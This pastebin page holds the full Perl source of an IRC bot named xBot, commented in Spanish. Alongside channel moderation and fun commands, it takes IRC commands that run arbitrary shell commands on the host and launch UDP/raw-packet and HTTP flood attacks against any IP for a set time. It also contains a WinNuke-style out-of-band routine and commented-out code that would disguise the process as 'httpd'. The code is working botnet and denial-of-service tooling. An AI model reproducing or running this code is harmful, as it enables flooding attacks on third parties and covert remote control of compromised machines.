All pastes #736377 Raw Edit

Unnamed

public text v1 · immutable
·published 2007-10-14 14:08 UTC
rendered paste body
#!/usr/bin/perl
#Escrito por xpeed.  irc.emule-spain.org  #linux

use strict;
use MIME::Base64 qw(decode_base64);
use MIME::Base64 qw(encode_base64);
use Socket;  
use IO::Socket;
use Getopt::Std;

  #########################################################
  #----------------|  constantes  |---------------------
  #########################################################
  my $DIR       = 'xBot/';
  my $xPWD      = 'datos/com.dat';
  my $SERV      = 'datos/serv.dat';
  my $AXS       = 'datos/axs.dat';
  my $SLAP      = 'fun/slaps.txt';
  my $FORT      = 'fun/galletas';
  my $proceso   = 'httpd';
  my $debug     = 0;
  my $seg       = 0;           
  my $max       = 5;
  my $opt       = {};  
  my $port      = 6667;  
  my $bot       = my $name      = 'xBot-';    
  my $version   = '1.2.6';
  my $isaccess  = 0; my $nivel;  
  my $server;
  my $chan;
  my %axs;
  my %serv;
  my $sock;  
  #--------------------------------------------------------
  
  #########################################################  
  #---------------|  declaraciones  |----------------------
  #########################################################
  my (@out,         # salida del comando cmd
      @comandos,    # lsa de comandos
      $nick,        # nick de entrada (no es el del bot, es de quien escriba)
      $chanel,      # canal de entrada
      $command,     # primera parte del mensaje (nick@ident tipo)
      $texto,       # segunda parte del mensaje (mensaje en sí)
      $cmd,         # comando
      $tiempo,      # tiempo y timer    
      $i,           # contador
      $shit,        # elemento del foreach
      $xdat,        # datos recibidos en el ident
      $ret, 
      $init );
  #--------------------------------------------------------
  
  #########################################################
  #-------------------|  Ayuda  |--------------------------
  #########################################################      
  my %ayuda = ( 'add'       => 'Añadir un usuario a la DB de acceso, Síntaxis: <!add> <nick> <nivel>',
                'addserv'   => 'Añadir un servidor a la DB de servidores, Síntaxis: <!addserv> <número> <servidor>',
                'cmd'       => 'Interprete de comandos, Síntaxis: <!cmd> <comando/s> <;>',
                'del'       => 'Elimina un usuario determinado de la DB de acceso, Síntaxis: <!del> <nick>',
                'delserv'   => 'Elimina un servidor determinado de la DB de servidores, Síntaxis: <!del> <número-de-servidor>',
                'estado'    => 'Exhibe el consumo de recursos que genera el bot, Síntaxis: <!estado>',
                'help'      => 'Exhibe la ayuda de comandos, Síntaxis: <!help> [comando]',
                'http'      => 'http flood, Síntaxis: <!http> <ip> <tiempo>',
                'in'        => 'Transforma una cadena hexadecimal por una ip equivalente, Síntaxis: <!in> <cadena-hex>',
                'ip'        => 'Devuelve el valor de la ip de un webchat, Síntaxis: <!ip> <nick>',
                'ls'        => 'Exhibe la lista de usuarios con acceso y su nivel, Síntaxis: <!ls> [nick]',
                'priv'      => 'Envia un mensaje a un destino prefijado, Síntaxis: <!priv> <destino> <texto>',                 
                'pais'      => 'Exhibe el pais del nick predeterminado, Síntaxis: <!pais> <nick>',
                'quit'      => 'Termina el proceso del bot, Síntaxis: <!quit>',                
                'say'       => 'Devuelve la cadena de caracteres pasada por parametro, Síntaxis: <!say> <cadena>',
                'seen'      => 'Indica la ultima hora y fecha de conexión de un nick predeterminado, Síntaxis: <!seen> <NICK>',
                'serv'      => 'Exhibe la lista de servidores, Síntaxis: <!lss> [número_servidor]',
                'set'       => 'Configura opciones del canal, Síntaxis: <!set> <Tipo> <modo> <Parámetro>',
                'setlv'     => 'Cambia el nivel de acceso a un usuario con acceso, Síntaxis: <!setlv> <nick> <nivel_nuevo>',
                'slap'      => 'Slapea un nick determinado número de veces, Síntaxis: <!slap> <nick> [número]',
                'snd'       => 'Enviar ordenes al servidor irc, Síntaxis: <!snd> <orden>',
                'sub'       => 'Ordenes a las subrutinas del bot, Síntaxis: <!sub> <subrutina>',
                'time'      => 'Exhibe la hora local del sistema, Síntaxis: <!time>',
                'udp'       => 'UDP flood, Síntaxis, <!udp> <ip> <tamaño> <tiempo>',
                'version'   => 'Exhibe la version del bot, Síntaxis: <!version>' );
  #--------------------------------------------------------
  
  #########################################################
  #------------------|  Señales  |-------------------------
  #########################################################
  #$SIG{'INT'}     = 'IGNORE';
  #$SIG{'HUP'}     = 'IGNORE';
  #$SIG{'TERM'}    = 'IGNORE';
  #$SIG{'CHLD'}    = 'IGNORE';
  #$SIG{'PS'}      = 'IGNORE';
  #$0 = "$proceso"."\0"x16;
  #--------------------------------------------------------  
    
  #########################################################
  ##-----------------|   Comienzo    |----------------------- 
  #########################################################
  chdir($DIR) || warn 'no puedo entrar al dir de trabajo';
  #exit if fork;  
  my $clave = get(); rchop(\$clave);
  
  getopts('dhx', $opt);
  uso() if ($opt->{h});  
  $debug = 1 if $opt->{d};                                                               #Debug
  $seg   = 1 if $opt->{x};
  
  leer();                                                           #leer DB access
  leers();                                                          #leer DB servidores
  if(@ARGV == 2 ) { $server = $ARGV[0]; $chan = $ARGV[1]; }
  else 
  {     
    print("$bot version: $version by xpeed \n ");    
    show();          
    print('servidor: '); $init = <STDIN>; 
    rchop(\$init);   
    if ($serv{$init}) { $server = $serv{$init}; }
    else              { die 'Número de servidor erroneo'; }
    print('Canal: '); $chan = <STDIN>;
    rchop(\$chan);
  } 
  #--------------------------------------------------------
  
                
while(1)
{                
    $sock = IO::Socket::INET->new(
                PeerAddr => "$server",
                PeerPort => "$port",
                Proto    => 'tcp' ) ||  print("No hay conexión\.\n\cC");
                  
    snd("NICK $bot");                                 #sndr el nick
    snd("USER $name x x x x");                         #sndr los 5 parametros de usuario

    while(<$sock>)                                                  #Datos que llegan al socket
    {
        my $sdat = $_;                                              #datos que llegan a $_        
                
        if ($sdat =~ /^PING :/i)                                    #si llega la solicitud de PING
        {
            snd("PONG :$'");                                     #sndr el número de autenticación
        }    
        
        elsif ($sdat =~ /^:\S*\s(376)\s(.*)/i)                                      #si llega el codigo 376 End MOTD
        {       
            privmsg('NickServ', "IDENTIFY $clave");                         #identificarse con la clave
            snd('PART #chat');                                #partir del canal inicial en este caso #chat
            snd("JOIN $chan");                                #unirse al canal especificado
        }       
            
        elsif ($sdat =~ /^:(\S*)!(\S*)\@(\S*)\sPRIVMSG\s(\S*)\s:(.*)/)
        {
            $nick   = $1;
            $chanel = $4;
            $texto  = $5;
        }         
        elsif ($sdat =~ /^:\S*\s(433)\s(.*)/i) { $bot = $name.int(rand(999)); snd("NICK $bot"); } 
        elsif ($sdat =~ /^:\S*\s(482)\s(.*)/i) { privmsg($chan, 'Necesito rango de operador.'); }
        elsif ( $chanel eq $bot)               { $nick =~ /:(\S*)!(\S*)/; $chanel = $1; }
        elsif ($sdat =~ /^:\S*\sKICK\s(\S*)\s(\S*).*/) { snd("JOIN $1") if ($2 eq $bot); }               #unirse al canal
        
        ($command, $texto) = split(/ :/, $sdat);     
        print("\033\[01;38m\[$command\]\033\[00m $texto") if ($debug);
    #------------- access --------------------------------------
    
        $isaccess = $ret = 0;
        if ($nick)                      #si los datos son envio de un usuario
        {               
            ident($nick, 1);                                   #quien escribe es access?                
            if($isaccess == 1)                                      #si es solo access
            {     
                  
                if($texto =~ /^(!add)\s(\S*)\s(\d*)/i)              #añadir acceso
                {   
                    verificar();                                    #verifica access  
                    add($2, $3, 'op');
                    $ret = 1;
                }
                
                elsif($texto =~ /^(!addserv)\s(\d)\s(\S*)/i)              #añadir acceso
                {   
                    verificar2();                                    #verifica access  
                    add($3, $2, 'serv');
                    $ret = 1;
                }
                
                elsif($texto =~ /^(!cmd)\s(.*)\;/i)                   #comandos
                {             
                    verificar();                                    #verfica el nivel de acceso                                        
                    $cmd = `$2 2>&1 3>&1`;
                    @out = split(/\n/, $cmd);
                    foreach $shit (@out) { privmsg($chanel, "$shit"); }
                    $ret = 1;
                }
                
                elsif($texto =~ /^(!del)\s(\S*)/i)          #borrar acceso
                {
                    verificar();                                    #verifica access
                    del($2, 'op');
                    $ret = 1;
                }
                
                elsif($texto =~ /^(!delserv)\s(\d)/i)          #borrar acceso
                {
                    verificar2();                                    #verifica access
                    del($2, 'serv');
                    $ret = 1;
                }   
                
                elsif ($texto =~ /^(!estado)/i)
                {
                    estado();                
                }
                
                elsif ($texto =~ /^(!froid)\s*(.*)/)
                {
                    froid($2);
                }
                
                elsif ($texto =~ /^(!help)\s(\S*)/i)
                {
                    ($2) ? help($2) : help();  
                }
                
                elsif ($texto =~ /^(!http)\s+(\S*)\s+(\d+)/)
                {
                    verificar2();
                    http($2, $3);
                    $ret = 1;
                }
                
                elsif ($texto =~ /^(!in)\s(\S*)/i)
                {                
                    my $nuck = $2; rchop(\$nuck);
                    ip($nuck);
                    $ret = 1;
                }
                
                elsif ($texto =~ /^(!ip)\s(\S*)/i)
                {                
                    my @who = who($2) if $2;
                    ip($who[4]);    
                    $ret = 1;
                } 
                
                elsif ($texto =~ /^(!ls)\s*(\S*)/i)
                {
                    verificar2();
                    ($2) ? lsaxs($2) : lsaxs();
                }
                
                elsif ($texto =~ /^(!pais)\s(\S*)/i)
                {
                    my $x = $2;
                    my @who = who($2) if $2;                 
                    my $country = de($who[5]);                
                    privmsg($chanel, "$x probablemente sea de: $country");
                    $ret = 1;                
                }
                
                elsif ($texto =~ /^(!priv)\s(\S*)\s(.*)/i)
                {
                    privmsg($2, $3);
                    $ret = 1;
                }
                            
                elsif($texto =~ /^(!quit)/i)
                {
                    verificar2();
                    exit;
                }   
                
                elsif ($texto =~ /^(!say)\s(.*)/i)
                {                
                    privmsg($chanel, "$2");
                    $ret = 1;
                }
                
                elsif ($texto =~ /^(!seen)\s(\S*)/i)
                {
                    seen($2) if $2;
                    $ret = 1;
                }                   
                
                elsif ($texto =~ /^(!serv)\s*(\S*)/i)
                {
                    verificar2();
                    ($2) ? lserv($2) : lserv();
                }
                
                elsif ($texto =~ /^(!set)\s(\S*)\s(\S*)\s(.*)/i)
                {                
                    set($2, $3, $4);
                    $ret = 1;
                }
                
                elsif($texto =~ /^(!setlv)\s(\S*)\s(\d)/i)
                {   
                    verificar();
                    setlv($2, $3);
                    $ret = 1;
                }
                
                elsif ($texto =~ /^(!slap)\s(\S*)\s(.*)$/i)
                {
                    slapper($2,$3);                
                }
                
                elsif($texto =~ /^(!snd)\s(.*)/i)
                {
                    verificar();               
                    snd($2);
                }
                
                elsif($texto =~ /^(!sub)\s(\S*)/i)
                {
                    verificar();
                    leer()  if ($2 == 'leer');
                    leers() if ($2 == 'leers');
                    $ret=1;
                }   
               
                elsif ($texto =~ /^(!time)/i)
                {
                    $tiempo = localtime(time);
                    privmsg($chanel, "$tiempo");                
                }
                
                elsif ($texto =~ /^(!udp)\s+(\S*)\s+(\d+)\s+(\d+)/)
                {
                    verificar2();                                       
                    udp_parse($2, $3, $4);                    
                    $ret = 1;
                }
                       
                elsif($texto =~ /^(!version)/i)
                {   
                    privmsg($chanel, "$bot version: $version escrito por xpeed.");
                }
                    
                privmsg($chanel, 'Error o Parámetros insuficientes') 
                if( !$ret && $texto =~ m/^(!cmd|!add|!del|!setlv|!set|!say|!ip|!in|!priv|!addserv|!delserv|!seen|!pais|!udp|!sub)/i);
                $isaccess = $ret = 0;      
            }   #if access
        }       #if quien
        Err:;  
    }           #while
}               #while 1

#########################################################  
# ----------------|  Subrutinas  |-----------------------
#########################################################

sub snd
{    
    print $sock ("$_[0]\n");
    print("-xBot-\: $_[0]\n") if ($debug);                                 #imprimir en el socket -sndr-
}

sub privmsg
{
    snd("PRIVMSG $_[0] :$_[1]");    
}
  

sub leer
{
    my $buf = '';
    open(DB, "<$AXS") || privmsg($chan, 'No se puede leer la DB de operadores');        
        while(<DB>){ $buf .= decode_base64($_); }
        my @access = split(/\n/, $buf);        
        foreach $shit (@access){ my ($n, $lv) = split(/::/, $shit); $axs{lc($n)} = $lv; }        
    close(DB);      
}

sub ingr
{
    my ($buf, $archiv) = @_;
    rchop(\$buf);
            
    open (DB, ">>$archiv") || warn( privmsg($chanel, 'No se puede escribir en la Base de Datos.'));
        $buf = encode_base64("$buf\n");
        print DB ("$buf");
    close(DB);
} 

sub leers
{
    my $buf = '';
    open(DB, "<$SERV") || die 'No se puede leer la DB de servidores';
        while(<DB>){ $buf .= decode_base64($_); }
        my @servs = split(/\n/, $buf);
        foreach $shit (@servs){ my ($nom, $sit) = split(/::/, $shit); $serv{$nom} = $sit; }
    close(DB);
}

sub get
{
    my $buf;    
    open(DB, "<$xPWD");
        $buf = <DB>;
        $buf = decode_base64($buf);
    close(DB);
    return $buf;
}

sub verificar
{
    if($nivel <= 4) { privmsg($chanel, 'acceso denegado.'); goto(Err); }
}

sub verificar2
{
    if($nivel <= 3) { privmsg($chanel, 'acceso denegado.'); goto(Err); }
}

sub ident
{
    my ($name, $flag) = @_;
    rchop(\$name); $name =~ s/ //g;
    
    $isaccess = 0;              
    if ($axs{lc($name)}) { $isaccess = 1; $nivel = $axs{lc($name)}; }   
    if ($seg)
    {
        if($isaccess && $flag == 1)
        {
            privmsg('NickServ', "STATUS $name"); $sock->recv($xdat, 128);
            my @inv = split(/ /, $xdat);
            $isaccess = 0 if($inv[5] != 3);
        }
    }   
}

sub add
{
    my ($hnd, $nivel, $flag) = @_;
    rchop(\$hnd, \$nivel);
    
    if ($flag eq 'op')
    {
        if($nivel !~ /^[1-5]/ || $nivel > 5) { $nivel = 1; }            
        ident($hnd);
        if($isaccess == 1){ privmsg($chan, "$hnd ya se encuentra en la lista access"); }
        else
        {     
            ingr("$hnd\:\:$nivel", $AXS);
            leer();
            privmsg($chanel, "$hnd añadido a la lista de access con nivel $nivel") if($texto =~ /^!add/i);
        }
        $isaccess = 0;        
    }
    elsif ($flag eq 'serv')
    {
        if ($serv{$nivel}) { privmsg($chan, "$nivel ya se encuentra ocupado"); }
        else
        {
            ingr("$nivel\:\:$hnd", $SERV);
            leers();
            privmsg($chanel, "$hnd añadido a la DBserv con índice $nivel") if($texto =~ /^!addserv/i);
        }
    }
    else { privmsg($chanel, 'Flag incorrecta') } 
}      

sub del
{   
    my ($dato, $flag) = @_; 
    rchop(\$dato);  
    my $buf;
    if ($flag eq 'op')
    {
        if ($axs{lc($dato)})
        {
            delete($axs{lc($dato)});            
            open(DB,">$AXS");
                foreach $shit (sort keys %axs)
                {            
                    $buf = encode_base64("$shit\:\:$axs{$shit}\n");
                    print DB ("$buf");
                }
            close(DB);
            leer();
            privmsg($chanel, 'entrada eliminada del DBaxs') if($texto =~ /!del/i) ;  
        }
        else { privmsg($chanel, "$dato no es access"); }
    }
    elsif ($flag eq 'serv')
    {
        if ($serv{$dato})
        {
            delete($serv{$dato});            
            open(DB,">$SERV");
                foreach $shit (sort keys %serv)
                {            
                    $buf = encode_base64("$shit\:\:$serv{$shit}\n");
                    print DB ("$buf");
                }
            close(DB);
            leers();
            privmsg($chanel, 'entrada eliminada del DBserv') if($texto =~ /!delserv/i) ; 
        }
    }
    else { privmsg($chanel, 'Flag incorrecta') } 
}

sub setlv
{
    my ($nik, $nnivel) = @_ ;
    $isaccess = 0;
    
    if($nnivel !~ /^[1-5]/) { $nnivel = 1; }
    
    ident($nik);
    if($isaccess == 1)
    {        
        privmsg($chanel, "cambiando el nivel de $nik ...");
        del($nik, 'op');
        add($nik, $nnivel, 'op');
        privmsg($chanel, 'Cambio de nivel satisfactorio.');
    }
    else { privmsg($chanel, 'Ese usuario no es access.'); }
}

sub lsaxs
{
    my $indx = shift;
    
    if ($indx)
    {        
        if ($axs{lc($indx)}) { privmsg($chanel, "$indx\:\:".$axs{lc($indx)}); }
        else { privmsg($chanel, "$indx no es access"); }
    }
    else
    {
        privmsg($chanel, "===========lista de Access===========");
        foreach $shit (sort keys %axs) { privmsg($chanel, "$shit\:\:".$axs{lc($shit)}); }
    }
}

sub lserv
{
    my $indx = shift;
    
    if ($indx)
    {        
        if ($serv{$indx}) { privmsg($chanel, "$indx\:\:$serv{$indx}"); }
        else { privmsg($chanel, "$indx no es servidor"); }
    }
    else
    {
        privmsg($chanel, "===========lista de Servidores===========");
        foreach $shit (sort keys %serv) { privmsg($chanel, "$shit\:\:$serv{$shit}"); }
    }
}

sub froid
{
    my $cant = shift;
    my @lin = (); my $fort;    
    rchop(\$cant);    
    open(FH, "<$FORT");
        @lin = <FH>;
    close(FH);    
    if($cant !~ /^[1-9]/) { $cant = 1; }
    $cant = $max if ($cant > $max);
    for ($i=0; $i<$cant; $i++)
    {
        $fort = ($lin[int(rand($#lin))]);
        rchop(\$fort);        
        privmsg($chanel, "\001ACTION $fort\001");
    }
}
         
sub slapper
{   
    my ($nick2, $num) = @_;
    my @lin = (); my $slap; 
    
    rchop(\$nick2, \$num);
    open(hFile, "<$SLAP") || warn (privmsg($chanel, "No se puede abrir slaps.txt $!"));
        @lin = <hFile>;
    close(hFile);
      
    if($num !~ /^[1-9]/) { $num = 1; }
    $num = $max if ($num > $max);
    for ($i=0; $i<$num; $i++)
    {
        $slap = ($lin[int(rand($#lin))]);
        rchop(\$slap);        
        privmsg($chanel, "\001ACTION Slaps $nick2 with $slap\001");
    }
}
  
sub ip 
{
    my ($ip, @ip, @iphex, @iph);
    $ip = ""; @ip = @iphex = @iph = ();
    my $country;
    @iph = @_;     
    print("\<$bot\> $iph[0]\n") if $debug;
    for($i=0; $i<8; $i=$i+2) { push(@iphex, substr($iph[0], $i,2)); }   
    for($a=0; $a<4; $a++)    { push(@ip, hex($iphex[$a])); }  	
  	$ip = join(".", @ip);    
  	$country = de($ip);
  	rchop(\$country);  	  	
  	privmsg($chanel, "$ip Pais: $country");                      #snd a donde se le ordena  	
}

sub estado
{
    my $stat;
    foreach $_ (`ps u $$ | awk '{print "Uso de CPU: "\$3"%  Uso de MEM: "\$4"%  Inicio: "\$9"  PID: "\$2"  UID: "\$1}'`) { $stat = $_; }
    privmsg($chanel, $stat);
}

sub seen
{
    my $snick = shift;
    rchop(\$snick);
    privmsg('SEENSERV', "SEEN $snick");
    $sock->recv($xdat, 256);
    $xdat =~ /NOTICE $bot :/;
    privmsg($chanel, "$'");
}

sub de
{
    my $ip = shift;
    my $pais = `whois $ip | grep country -im1`;
    $pais =~ /^country:\s*(\S*)/i ? return $1 : return 'No Válido.';
}

sub who
{
    my $who = shift;
    snd("WHOIS $who");                
    $sock->recv($xdat, 128);                        #recibir 128 bytes donde está contenido el ident
    split(/ /, $xdat);
    return @_;
} 

sub set
{
    my ($mod, $switch, $tip) = @_;
    rchop(\$mod, \$switch, \$tip);
    
    for ($mod)                                                  #para los casos de mod
    {
        /^\-seg$/   && do {                                 #comparación de casos
            for ($switch)
            { 
                /^on$/      && do { snd("MODE $chanel +f [7c#C7,5j#i2,8k#K8,7m#m3,12n#N5]:5");   last; };      
                /^off$/     && do { snd("MODE $chanel -f");      last; };
                /^code$/    && do { snd("MODE $chanel +f $tip"); last; };
                privmsg($chanel, 'modo no conocido.');             last;
            };      last; };
         
        /^\-chan$/         && do {                                #servicios de canal
            for ($switch)
            {
                /^op$/              && do { snd("MODE $chanel +ooo $tip"); last; };
                /^(deop|dop)$/      && do { snd("MODE $chanel -ooo $tip"); last; };
                /^hop$/             && do { snd("MODE $chanel +hhh $tip"); last; };
                /^(dhop|dehop)$/    && do { snd("MODE $chanel -hhh $tip"); last; };
                /^voz$/             && do { snd("MODE $chanel +vvv $tip"); last; };
                /^(dvoz|devoz)$/    && do { snd("MODE $chanel -vvv $tip"); last; };
                /^(kb|kban)$/       && do { snd("MODE $chanel +b $tip");  
                                            snd("KICK $chanel $tip");      last; };
                /^(b|ban)$/         && do { snd("MODE $chanel +b $tip");   last; };
                /^(k|kick)$/        && do { snd("KICK $chanel $tip");      last; };
                /^(dm|dmod)$/       && do { snd("MODE $chanel -m");        last; };
                /^(m|mod)$/         && do { snd("MODE $chanel +m");        last; };
                privmsg($chanel, 'modo no conocido.'); last;
            };          last;    };
            
        privmsg($chanel, 'modo no conocido.'); last;
     }
}

sub rchop 
{ 
    my @val = @_;
    foreach $shit (@val) { $$shit =~ s/[\n\r]//gi; }
}

sub help
{
    
    my $hlp = shift;
    
    if($hlp)
    {
        if ($ayuda{$hlp}) { privmsg($chanel, $ayuda{$hlp}) }
        else { privmsg($chanel, "$hlp no es una orden válida."); }
    }
    else
    {             
        @comandos = ( "ADM:\t\tcmd\t\tsnd\t\tadd\t\taddserv\t\tdel\t\tdelserv\t\tsetlv\t\tls\t\tserv\t\tquit\t\tudp\t\thttp\t\tsub",
        "USR:\t\tslap\t\tset\t\ttime\t\tsay\t\tip\t\tin\t\thelp\t\tversion\t\tpriv\t\testado\t\tseen");
        privmsg($chanel, '======================Comandos======================'); 
        foreach $shit (@comandos){ privmsg($chanel, "$shit"); } 
    }
}

sub OOB
{
    my $dest = shift;
    my $rsock = IO::Socket::INET->new(
                    PeerAddr => $dest,
                    PeerPort => 139  );
    
    for(1..10){ $rsock->send("bye", MSG_OOB) };
}

sub udp 
{
    my $iaddr = inet_aton($_[0]);
    my $msg = 'A' x $_[1];
    my $ftime = $_[2];
    my $cp = 0;
    my (%paks);
    $paks{icmp} = $paks{igmp} = $paks{udp} = $paks{o} = $paks{tcp} = 0;
  
    socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
    socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
    socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
    
    return(undef) if $cp == 4;
    my $itime = time;
    my ($cur_time);
    while ( 1 ) 
    {
        for (my $port = 1; $port <= 65000; $port++) 
        {
            $cur_time = time - $itime;
            last if $cur_time >= $ftime;
            send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{igmp}++;
            send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{udp}++;
            send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{icmp}++;
            send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{tcp}++;

            for (my $pc = 3; $pc <= 255;$pc++) 
            {
                next if $pc == 6;
                $cur_time = time - $itime;
                last if $cur_time >= $ftime;
                socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
                send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $paks{o}++;
            }
        }
        last if $cur_time >= $ftime;
    }
    return($cur_time, %paks);
}

sub udp_parse
{
    my ($ip, $tam, $sec) = @_;            
    privmsg($chanel, "\002[UDP]\002 Atacando $ip con paquetes de $tam Kb durante $sec segundos");
    my ($dtime, %paks) = udp("$ip", "$tam", "$sec");
    $dtime = 1 if $dtime == 0;
    my %bytes;
    $bytes{igmp} = $tam * $paks{igmp};
    $bytes{icmp} = $tam * $paks{icmp};
    $bytes{o}    = $tam * $paks{o};
    $bytes{udp}  = $tam * $paks{udp};
    $bytes{tcp}  = $tam * $paks{tcp};
    my $dev = int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024);
    privmsg($chanel,"\002[UDP]\002 enviados $dev Kb en $sec segundos a $ip");
}

sub http
{
    my ($ip, $sec) = @_;
    privmsg($chanel, "\002[HTTP]\002 Atacando $ip:80 durante $sec segundos");
    my $itime = time;
    my $cur_time;
    $cur_time = time - $itime;
    while ($sec > $cur_time)
    {
        $cur_time = time - $itime;
        my $socket = IO::Socket::INET->new(
                         proto    => 'tcp',
                         PeerAddr => $ip, 
                         PeerPort => 80 );
        print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$ip."\r\nConnection: Keep-Alive\r\n\r\n";
        close($socket);    
    }
    privmsg($chanel, "\002[HTTP]\002 Ataque concluido $ip");
}


sub show
{
    print("Escoja el servidor porfavor: \n");
    foreach $shit (sort keys %serv) { print("\t$shit\t\=\>$serv{$shit}\n"); } 
}

sub uso
{
    die <<"EOT";  
uso: $bot [-dh] [servidor] [\#canal]
    -d      => Debug activado
    -h      => Uso
         
    Ejemplo: ./xBot.pl -d irc.ser.net \#canal
    El canal se debe pasar escapando el #
EOT
}